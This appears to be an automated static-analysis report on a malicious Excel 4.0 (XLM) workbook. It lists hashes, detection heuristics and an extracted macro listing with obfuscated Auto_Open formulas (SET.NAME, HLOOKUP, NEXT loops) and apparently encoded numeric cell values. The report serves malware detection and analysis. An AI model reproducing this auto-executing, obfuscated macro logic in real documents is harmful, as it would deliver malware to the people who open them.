Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d011471852d01a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:28 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 126ebf3aa6224a0ebb443f063cd9798c SHA-1: 2176d346c1a53b2ac4eb29606c1664f537515b40 SHA-256: 7d011471852d01a24d685635ae0bb3e46dceba47a6926c852ac4a9a862fc258a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6679 bytes
SHA-256: 1dd584808ddd136d91951ef9c7f16005f8fe142dd51c4fd3f17ca938dce7ca86
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hUQb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A184 
' 0018     25 LABEL : Cell Value, String Constant - cOEpxxdkkR len=0 
' 0018     25 LABEL : Cell Value, String Constant - DUJzSDbyqR len=0 
' 0018     23 LABEL : Cell Value, String Constant - dYnuNdlc len=0 
' 0018     26 LABEL : Cell Value, String Constant - dYsASAIayiz len=0 
' 0018     26 LABEL : Cell Value, String Constant - GUnNewhWeVF len=0 
' 0018     23 LABEL : Cell Value, String Constant - IygVoUCB len=0 
' 0018     22 LABEL : Cell Value, String Constant - JDjycTn len=0 
' 0018     23 LABEL : Cell Value, String Constant - jVbkvEAk len=0 
' 0018     24 LABEL : Cell Value, String Constant - LNZDoSSdh len=0 
' 0018     21 LABEL : Cell Value, String Constant - MfVMTl len=0 
' 0018     25 LABEL : Cell Value, String Constant - oaxAvzsulW len=0 
' 0018     27 LABEL : Cell Value, String Constant - PHBXZjgvNPCY len=0 
' 0018     23 LABEL : Cell Value, String Constant - PSIWAxXa len=0 
' 0018     21 LABEL : Cell Value, String Constant - qAfXQZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - QDtcTlRORfia len=0 
' 0018     27 LABEL : Cell Value, String Constant - QQzEOwkyqYtS len=0 
' 0018     21 LABEL : Cell Value, String Constant - VBIrZx len=0 
' 0018     22 LABEL : Cell Value, String Constant - VSJxWBq len=0 
' 0018     22 LABEL : Cell Value, String Constant - YliohCV len=0 
' 0018     27 LABEL : Cell Value, String Constant - zEEyBKUyornv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hUQb,S87,"",425.00000000000000000000
'  hUQb,S88,"",715.00000000000000000000
'  hUQb,S89,"",539.00000000000000000000
'  hUQb,A90,"SET.NAME("QQzEOwkyqYtS",0+VALUE("0"))",""
'  hUQb,S90,"",-643.00000000000000000000
'  hUQb,S91,"",-65.00000000000000000000
'  hUQb,S92,"",907.00000000000000000000
'  hUQb,A94,"SET.NAME("VBIrZx",QQzEOwkyqYtS)",""
'  hUQb,A99,"SET.NAME("oaxAvzsulW",QQzEOwkyqYtS)",""
'  hUQb,A103,"SET.NAME("cOEpxxdkkR",COUNTA(PSIWAxXa))",""
'  hUQb,A108,"SET.NAME("dYsASAIayiz",COUNTA(jVbkvEAk))",""
'  hUQb,A110,[],""
'  hUQb,A115,"SET.NAME("qAfXQZ","")",""
'  hUQb,A117,"VBIrZx",""
'  hUQb,A122,"SET.NAME("dYnuNdlc",HLOOKUP("*",PSIWAxXa,VBIrZx,FALSE))",""
'  hUQb,A126,"IygVoUCB",""
'  hUQb,A128,"SET.NAME("zEEyBKUyornv",QQzEOwkyqYtS)",""
'  hUQb,A130,[],""
'  hUQb,A135,"zEEyBKUyornv",""
'  hUQb,A138,"QDtcTlRORfia",""
'  hUQb,A143,"MfVMTl",""
'  hUQb,A147,"YliohCV",""
'  hUQb,A149,"SET.NAME("JDjycTn",VALUE(HLOOKUP("*",jVbkvEAk,YliohCV,FALSE)))",""
'  hUQb,A154,"DUJzSDbyqR",""
'  hUQb,A157,"qAfXQZ",""
'  hUQb,A159,"oaxAvzsulW",""
'  hUQb,A164,NEXT(),""
'  hUQb,A167,"GUnNewhWeVF",""
'  hUQb,A172,[],""
'  hUQb,A175,"VSJxWBq",""
'  hUQb,A179,NEXT(),""
'  hUQb,A182,RETURN(),""
'  hUQb,A208,"SET.NAME("PHBXZjgvNPCY",A90)",""
'  hUQb,A212,"PSIWAxXa",""
'  hUQb,A216,"SET.NAME("jVbkvEAk",R99C13)",""
'  hUQb,A218,"SET.NAME("VSJxWBq",228)",""
'  hUQb,A222,"SET.NAME("LNZDoSSdh",1)",""
'  hUQb,A227,PHBXZjgvNPCY(),""
'  hUQb,A228,HALT(),""

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